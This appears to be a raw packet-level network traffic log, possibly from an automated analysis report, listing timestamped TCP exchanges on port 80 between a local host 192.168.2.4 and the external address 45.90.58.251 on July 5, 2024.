Jul 5, 2024 07:47:53.895262003 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895272017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.895312071 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.910113096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910134077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910142899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910162926 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.910182953 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.910187006 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910305977 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910315990 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910326004 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910336018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.910351038 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.910382032 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912338018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912383080 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912388086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912398100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912437916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912475109 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912489891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912501097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912513018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912540913 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912564993 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912640095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912744999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912755013 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912765980 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912777901 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912787914 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912792921 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912800074 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912811041 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.912823915 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.912858009 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913021088 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913136959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913147926 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913157940 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913170099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913180113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913181067 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913191080 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913204908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913207054 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913213968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913227081 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913250923 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913418055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913464069 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913542032 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913552999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913561106 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913570881 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913580894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913592100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913593054 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913603067 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913613081 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913619041 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913623095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913630962 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913641930 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913645983 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913657904 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913675070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.913979053 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.913990021 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914000034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914011002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914026022 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914028883 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914040089 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914078951 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914254904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914264917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914275885 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914287090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914298058 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914314985 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914315939 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914325953 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914347887 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914359093 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914621115 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914632082 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914642096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914653063 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914663076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914674997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914675951 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914685965 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914688110 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914697886 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.914711952 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.914731026 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.919445038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919455051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919497967 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.919522047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919565916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.919595957 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919606924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919641972 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.919676065 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919687033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919697046 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.919718981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.964626074 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.981637955 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981677055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981686115 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981723070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.981765985 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981775999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981787920 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981800079 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.981805086 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.981825113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.981947899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.982033968 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983164072 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983227968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983233929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983278036 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983344078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983354092 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983366966 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983393908 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983421087 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983515024 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983526945 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983536959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983549118 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983560085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983576059 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983593941 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983634949 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983805895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983822107 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983865976 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.983896017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983906031 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.983941078 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984072924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984082937 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984092951 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984103918 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984114885 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984117985 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984183073 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984354019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984364033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984373093 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984385014 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984395027 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984405994 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984416962 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984427929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984427929 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984427929 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984437943 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984450102 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984452009 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984461069 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984469891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984476089 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984476089 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984479904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984498024 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984499931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984533072 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984888077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984899044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984908104 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.984931946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.984956026 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.985028028 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985044956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985054970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985066891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985080957 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.985104084 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.985233068 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985244036 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985258102 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985268116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.985291004 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.985311031 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.000030994 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000106096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000118017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000157118 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.000233889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000245094 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000255108 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000266075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000277042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.000288010 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.000299931 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.000313044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002295017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002353907 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002365112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002405882 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002490997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002502918 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002512932 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002526045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002543926 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002557039 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002641916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002651930 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002670050 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002681971 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002686024 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002706051 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002892971 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002903938 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002913952 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.002939939 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.002959967 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003098965 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003115892 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003128052 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003139019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003149986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003151894 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003163099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003175020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003177881 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003185987 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003196955 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003233910 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003524065 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003535986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003546000 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003559113 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003570080 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003571987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003581047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003592968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003599882 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003602982 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003616095 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003617048 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003640890 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.003936052 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003947020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003957033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003971100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003981113 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.003984928 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004013062 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004024982 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004223108 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004234076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004244089 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004256010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004267931 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004300117 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004328012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004339933 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004349947 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004364967 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004374981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004374981 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004388094 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004399061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004405975 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004410982 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004420996 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004420996 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004432917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.004455090 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.004465103 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.009258986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009279013 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009318113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.009321928 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009388924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009401083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009430885 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.009510040 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009520054 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009531975 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.009558916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.009571075 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.071585894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071609974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071620941 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071659088 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.071760893 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071772099 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071782112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071798086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.071980953 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.073476076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073503017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073537111 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.073576927 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073587894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073627949 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.073719978 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073730946 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073740959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073753119 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073766947 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.073781013 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.073950052 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073961020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073970079 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073981047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073992968 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.073996067 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074003935 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074026108 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074038029 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074294090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074305058 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074315071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074325085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074337006 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074345112 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074359894 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074378967 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.074529886 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074541092 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074561119 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074573040 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.074584007 CEST	80	49733	45.90.58.251	192.168.2.4
